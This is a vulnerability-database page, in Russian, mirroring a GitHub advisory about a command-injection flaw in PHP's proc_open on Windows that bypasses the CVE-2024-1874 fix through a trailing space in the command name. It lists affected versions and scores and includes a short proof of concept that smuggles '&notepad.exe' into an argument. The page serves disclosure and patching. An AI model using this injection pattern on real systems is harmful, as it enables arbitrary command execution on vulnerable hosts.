Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-9fcc-425m-g385

Опубликовано: 09 июн. 2024
Источник: github
Github: Не прошло ревью
CVSS3: 7.7

Описание

bypass CVE-2024-1874

Summary

same as CVE-2024-1874

due to the improper handling of command line arguments on Windows, maliciously crafted arguments can inject arbitrary commands even if the bypass_shell option is enabled.

Details

Add a space at the end of filename, others are the same as CVE-2024-1874

PoC

  1. Save the following file as test.bat
echo hello
  1. Save the following file as 1.php, notiece the space at the end of argv-filename
<?php $descriptorspec = [STDIN, STDOUT, STDOUT]; $proc = proc_open(["test.bat ", "\"&notepad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true)); proc_close($proc);
  1. Run it with PHP and confirm that notepad.exe is popped up.

Impact

Malicious command line arguments in windows platform

Пакеты

Наименование

php

php
Затронутые версииВерсия исправления

>=8.1.0, <8.1.29

8.1.29

Наименование

php

php
Затронутые версииВерсия исправления

>=8.2.0, <8.2.20

8.2.20

Наименование

php

php
Затронутые версииВерсия исправления

>=8.3.0, <8.3.8

8.3.8

EPSS

Процентиль: 98%
0.28807
Средний

7.7 High

CVSS3

Дефекты

CWE-78

Связанные уязвимости

CVSS3: 7.7
ubuntu
около 2 лет назад

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, the fix for CVE-2024-1874 does not work if the command name includes trailing spaces. Original issue: when using proc_open() command with array syntax, due to insufficient escaping, if the arguments of the executed command are controlled by a malicious user, the user can supply arguments that would execute arbitrary commands in Windows shell.

CVSS3: 8.8
redhat
около 2 лет назад

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, the fix for CVE-2024-1874 does not work if the command name includes trailing spaces. Original issue: when using proc_open() command with array syntax, due to insufficient escaping, if the arguments of the executed command are controlled by a malicious user, the user can supply arguments that would execute arbitrary commands in Windows shell.

CVSS3: 7.7
nvd
около 2 лет назад

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, the fix for CVE-2024-1874 does not work if the command name includes trailing spaces. Original issue: when using proc_open() command with array syntax, due to insufficient escaping, if the arguments of the executed command are controlled by a malicious user, the user can supply arguments that would execute arbitrary commands in Windows shell.

CVSS3: 8.8
msrc
около 2 лет назад

Command injection via array-ish $command parameter of proc_open() (bypass CVE-2024-1874 fix)

CVSS3: 7.7
debian
около 2 лет назад

In PHP versions8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before ...

EPSS

Процентиль: 98%
0.28807
Средний

7.7 High

CVSS3

Дефекты

CWE-78